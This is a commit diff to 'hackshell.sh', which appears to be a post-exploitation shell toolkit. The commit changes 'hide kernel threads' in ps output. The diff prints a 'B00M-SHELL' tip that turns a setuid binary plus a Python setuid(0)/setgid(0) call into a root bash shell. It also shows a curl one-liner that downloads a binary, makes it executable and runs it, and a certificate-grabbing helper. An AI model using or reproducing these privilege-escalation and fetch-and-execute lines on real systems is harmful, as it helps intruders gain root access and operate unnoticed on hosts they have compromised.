Skip to content

Commit 24613b8

Browse files
committed
hide kernel threads
1 parent b7ba05f commit 24613b8

File tree

1 file changed

+5
-2
lines changed

1 file changed

+5
-2
lines changed

hackshell.sh

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1301,7 +1301,7 @@ lootlight() {
13011301
echo -e "${CB}B00M-SHELL ${CDY}${CF}"
13021302
echo "${str}"
13031303
echo -en "${CN}"
1304-
echo -e "${CW}TIP: ${CDC}"'./b00m -p -c "exec '"${HS_PY:-python}"' -c \"import os;os.setuid(0);os.setgid(0);os.execl('"'"'/bin/bash'"'"', '"'"'-bash'"'"')\""'"${CN}"
1304+
echo -e "${CW}TIP: ${CDC}/${str##* /}"' -p -c "exec '"${HS_PY:-python}"' -c \"import os;os.setuid(0);os.setgid(0);os.execl('"'"'/bin/bash'"'"', '"'"'-bash'"'"')\""'"${CN}"
13051305
}
13061306
13071307
str="$( { readlink -f "${ROOTFS}"/lib64/ld-*.so.* || readlink -f "${ROOTFS}"/lib/ld-*.so.* || readlink -f "${ROOTFS}"/lib/ld-linux.so.2; } 2>/dev/null )"
@@ -1793,6 +1793,9 @@ ${CY}>>>>> ${CDC}curl -obash -SsfL '$str' && chmod 700 bash && exec ./bash -il"
17931793
[ -z "$TERM" ] && TERM=xterm
17941794
export TERM
17951795
1796+
# ps to hide kernel threads (identical to '--ppid 2 -p 2 --deselect flwww')
1797+
export LIBPROC_HIDE_KERNEL=1
1798+
17961799
HS_ARCH="$(uname -m 2>/dev/null)"
17971800
[ -z "$HS_ARCH" ] && HS_ARCH="x86_64"
17981801
[ "$HS_ARCH" == "x86_64" ] && HS_ARCH_ALT="amd64"
@@ -1852,7 +1855,7 @@ cn() {
18521855
_hs_dep openssl || return
18531856
_hs_dep sed || return
18541857
1855-
x509="$(timeout "${HS_TO_OPTS[@]}" 4 openssl s_client -showcerts -connect "${1:?}:${2:-443}" 2>/dev/null </dev/null)"
1858+
x509="$(timeout "${HS_TO_OPTS[@]}" 4 openssl s_client -showcerts -connect "${1:-127.0.0.1}:${2:-443}" 2>/dev/null </dev/null)"
18561859
# Extract CN
18571860
str="$(echo "$x509" | openssl x509 -noout -subject 2>/dev/null)"
18581861
[[ "$str" == "subject"* ]] && [[ "$str" == *"/CN"* ]] && {

0 commit comments

Comments
 (0)